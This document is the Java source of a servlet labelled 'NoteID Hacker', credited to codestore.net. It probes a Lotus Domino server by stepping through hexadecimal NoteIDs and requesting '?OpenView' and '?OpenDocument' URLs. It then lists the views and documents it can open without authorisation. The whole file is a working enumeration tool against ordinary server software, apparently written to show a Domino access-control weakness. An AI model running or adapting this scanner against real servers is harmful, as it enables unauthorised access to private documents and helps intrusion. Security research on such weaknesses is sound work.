/* * GetNoteIDList.java * * Created on 02 May 2002, 20:57 */ import javax.servlet.*; import javax.servlet.http.*; import java.net.*; import java.io.*; import lotus.domino.*; /** * * @author jake howlett, codestore.net * @version */ public class GetNoteIDList extends HttpServlet { private static final int startHexDesignID = 278; private static final int startHexDocumentID = 2294; private static final int attemptsAtViews = 200; private static final int attemptsAtDocs = 2000; java.io.PrintWriter out = null; String[] NoteIDs = new String[attemptsAtViews]; String[] DocIDs = new String[attemptsAtDocs]; int idsFound = 0; int docsFound = 0; /** Initializes the servlet. */ public void init(ServletConfig config) throws ServletException { super.init(config); } /** Destroys the servlet. */ public void destroy() { } private void openDocumentURL( String tryViewURL, String NoteID ) throws Exception { try{ URL vURL = new URL ( tryViewURL + "/" + NoteID + "?OpenDocument"); vURL.openStream(); out.println(""); DocIDs[docsFound] = NoteID; docsFound++; } catch ( FileNotFoundException e) { out.println( ""); } } private void openViewURL( String tryURL, String NoteID ) throws Exception { try{ URL vURL = new URL ( tryURL + "/" + NoteID + "?OpenView"); vURL.openStream(); out.println(""); NoteIDs[idsFound] = NoteID; idsFound++; } catch ( FileNotFoundException e) { out.println( ""); } } private void openURL( String tryURL ) throws Exception { try{ URL vURL = new URL ( tryURL ); BufferedReader in = new BufferedReader( new InputStreamReader( vURL.openStream( ) ) ); out.println("
Opened URL - " + tryURL + "
"); in.close(); } catch ( FileNotFoundException e) { out.println( "
File Not Found - " + tryURL + "
"); } } private void runRequestsOnViews(String baseURL, int startToHex) { try{ out.println("

About to run NoteID hack using BaseURL:

"); out.println(baseURL + "

"); openURL(baseURL); for ( int i=0; i < attemptsAtViews ; i++ ) { String hex = Integer.toHexString( startHexDesignID + (i*4)); openViewURL(baseURL, hex ); } if ( idsFound > 0 ) { out.print("Found the following views:
"); for ( int j=0; j < idsFound ; j++ ) { out.print( "" + baseURL + "/" + NoteIDs[j] + "?OpenView" + " [ Try DocID Hack ]
"); } }else{ out.print("No views found.
"); } super.destroy(); } catch ( MalformedURLException e) { out.println( "

MalformedURLException (" + baseURL + ")

"); } catch ( UnknownHostException e) { out.println( "

UnknownHostException

"); } catch ( FileNotFoundException e) { out.println( "

FileNotFound

"); } catch( Exception e) { e.printStackTrace(); } } private void runRequestsOnDocuments(String baseViewURL, int startDocHex) { try{ out.println("

About to run NoteID hack using BaseURL:

"); out.println(baseViewURL + "

"); openURL(baseViewURL); //out.println("Opened URL. Starting view NoteID scan process."); for ( int i=0; i < attemptsAtDocs ; i++ ) { String hex = Integer.toHexString( startHexDocumentID + (i*4)); openDocumentURL(baseViewURL, hex ); } if ( docsFound > 0 ) { out.print("Found the following documents:
"); for ( int j=0; j < docsFound ; j++ ) { out.print( "[" + j + "] " + baseViewURL + "/" + DocIDs[j] + "?OpenDocument
"); } }else{ out.print("No documents found.
"); } super.destroy(); } catch ( MalformedURLException e) { out.println( "

MalformedURLException (" + baseViewURL + ")

"); } catch ( UnknownHostException e) { out.println( "

UnknownHostException

"); } catch ( FileNotFoundException e) { out.println( "

FileNotFound

"); } catch( Exception e) { e.printStackTrace(); } } /** Processes requests for both HTTP GET and POST methods. * @param request servlet request * @param response servlet response */ protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, java.io.IOException { response.setContentType("text/html"); out = response.getWriter(); // output your page here out.println(""); out.println(""); out.println("NoteID Hacker"); out.println(""); out.println(""); out.println(""); out.println(""); out.println("
"); if ( request.getParameter("viewnoteid") == null ) { runRequestsOnViews(request.getParameter("baseurl"), startHexDesignID); }else{ runRequestsOnDocuments(request.getParameter("baseurl") + "/" + request.getParameter("viewnoteid") , startHexDocumentID); } out.println("
DONE! - Remember you may need to restart the HTTP task at the console before starting over."); out.println("
"); out.println(""); out.println(""); out.close(); } /** Handles the HTTP GET method. * @param request servlet request * @param response servlet response */ protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, java.io.IOException { processRequest(request, response); } /** Handles the HTTP POST method. * @param request servlet request * @param response servlet response */ protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, java.io.IOException { processRequest(request, response); } /** Returns a short description of the servlet. */ public String getServletInfo() { return "Hacks a Domino database for \"open\" views using their NoteIDs."; } }